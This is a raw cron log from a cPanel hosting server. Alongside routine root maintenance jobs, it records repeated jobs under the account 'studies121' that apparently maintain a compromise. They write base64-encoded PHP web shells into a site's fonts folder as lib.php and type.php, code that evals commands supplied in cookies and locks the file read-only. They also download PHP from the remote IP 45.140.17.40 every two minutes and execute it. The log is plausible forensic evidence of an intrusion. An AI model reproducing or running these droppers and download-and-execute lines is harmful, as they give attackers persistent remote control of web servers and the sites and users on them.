Sep  7 15:04:01 ip-184-168-122-23 CROND[15836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:04:01 ip-184-168-122-23 CROND[15838]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 15:04:01 ip-184-168-122-23 CROND[15837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:05:01 ip-184-168-122-23 CROND[15980]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 15:05:01 ip-184-168-122-23 CROND[15982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:05:01 ip-184-168-122-23 CROND[15985]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 15:05:01 ip-184-168-122-23 CROND[15981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:05:01 ip-184-168-122-23 CROND[15984]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 15:05:01 ip-184-168-122-23 CROND[15986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:05:01 ip-184-168-122-23 CROND[15983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:06:01 ip-184-168-122-23 CROND[16155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:06:01 ip-184-168-122-23 CROND[16156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:06:01 ip-184-168-122-23 CROND[16157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:06:01 ip-184-168-122-23 CROND[16158]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 15:06:01 ip-184-168-122-23 CROND[16159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:07:01 ip-184-168-122-23 CROND[16253]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:07:01 ip-184-168-122-23 CROND[16252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:07:01 ip-184-168-122-23 CROND[16255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:07:01 ip-184-168-122-23 CROND[16254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:08:01 ip-184-168-122-23 CROND[16330]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 15:08:01 ip-184-168-122-23 CROND[16334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:08:01 ip-184-168-122-23 CROND[16336]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:08:01 ip-184-168-122-23 CROND[16339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:08:01 ip-184-168-122-23 CROND[16338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:09:01 ip-184-168-122-23 CROND[16439]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:09:01 ip-184-168-122-23 CROND[16440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:09:01 ip-184-168-122-23 CROND[16441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:09:01 ip-184-168-122-23 CROND[16442]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 15:09:01 ip-184-168-122-23 CROND[16444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:10:01 ip-184-168-122-23 CROND[16536]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 15:10:01 ip-184-168-122-23 CROND[16540]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 15:10:01 ip-184-168-122-23 CROND[16543]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 15:10:01 ip-184-168-122-23 CROND[16541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:10:01 ip-184-168-122-23 CROND[16544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:10:01 ip-184-168-122-23 CROND[16542]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 15:10:01 ip-184-168-122-23 CROND[16545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:10:01 ip-184-168-122-23 CROND[16546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:11:01 ip-184-168-122-23 CROND[16641]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:11:01 ip-184-168-122-23 CROND[16642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:11:01 ip-184-168-122-23 CROND[16644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:11:01 ip-184-168-122-23 CROND[16643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:12:01 ip-184-168-122-23 CROND[16799]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 15:12:01 ip-184-168-122-23 CROND[16801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:12:01 ip-184-168-122-23 CROND[16798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:12:01 ip-184-168-122-23 CROND[16800]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:12:01 ip-184-168-122-23 CROND[16802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:13:01 ip-184-168-122-23 CROND[16968]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:13:01 ip-184-168-122-23 CROND[16970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:13:01 ip-184-168-122-23 CROND[16972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:13:01 ip-184-168-122-23 CROND[16971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:14:01 ip-184-168-122-23 CROND[17050]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 15:14:01 ip-184-168-122-23 CROND[17051]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:14:01 ip-184-168-122-23 CROND[17052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:14:01 ip-184-168-122-23 CROND[17053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:14:01 ip-184-168-122-23 CROND[17055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:15:01 ip-184-168-122-23 CROND[17160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:15:01 ip-184-168-122-23 CROND[17161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:15:01 ip-184-168-122-23 CROND[17163]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 15:15:01 ip-184-168-122-23 CROND[17166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:15:01 ip-184-168-122-23 CROND[17165]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 15:15:01 ip-184-168-122-23 CROND[17169]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:16:01 ip-184-168-122-23 CROND[17261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:16:01 ip-184-168-122-23 CROND[17262]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 15:16:01 ip-184-168-122-23 CROND[17263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:16:01 ip-184-168-122-23 CROND[17265]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
